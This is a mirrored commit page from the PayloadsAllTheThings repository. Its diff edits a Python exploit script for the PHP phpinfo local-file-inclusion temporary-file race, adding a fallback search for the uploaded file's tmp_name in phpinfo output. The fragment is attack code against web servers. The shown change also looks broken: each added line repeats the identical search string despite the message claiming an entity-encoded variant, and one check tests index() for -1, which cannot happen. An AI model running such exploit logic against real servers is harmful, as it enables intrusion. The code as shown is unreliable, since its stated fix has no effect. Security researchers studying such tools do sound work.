mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 03:16:10 +00:00
Fix character matching for '>' and its URL entity encoding from @CaoZnZZ
This commit is contained in:
parent
dd7525dc8f
commit
7f1823efbe
@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
|
|||||||
d += s.recv(offset)
|
d += s.recv(offset)
|
||||||
try:
|
try:
|
||||||
i = d.index("[tmp_name] =>")
|
i = d.index("[tmp_name] =>")
|
||||||
|
if i == -1:
|
||||||
|
i = d.index("[tmp_name] =>")
|
||||||
fn = d[i+17:i+31]
|
fn = d[i+17:i+31]
|
||||||
except ValueError:
|
except ValueError:
|
||||||
return None
|
return None
|
||||||
@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
|
|||||||
break
|
break
|
||||||
s.close()
|
s.close()
|
||||||
i = d.find("[tmp_name] =>")
|
i = d.find("[tmp_name] =>")
|
||||||
|
if i == -1:
|
||||||
|
i = d.find("[tmp_name] =>")
|
||||||
if i == -1:
|
if i == -1:
|
||||||
raise ValueError("No php tmp_name in phpinfo output")
|
raise ValueError("No php tmp_name in phpinfo output")
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user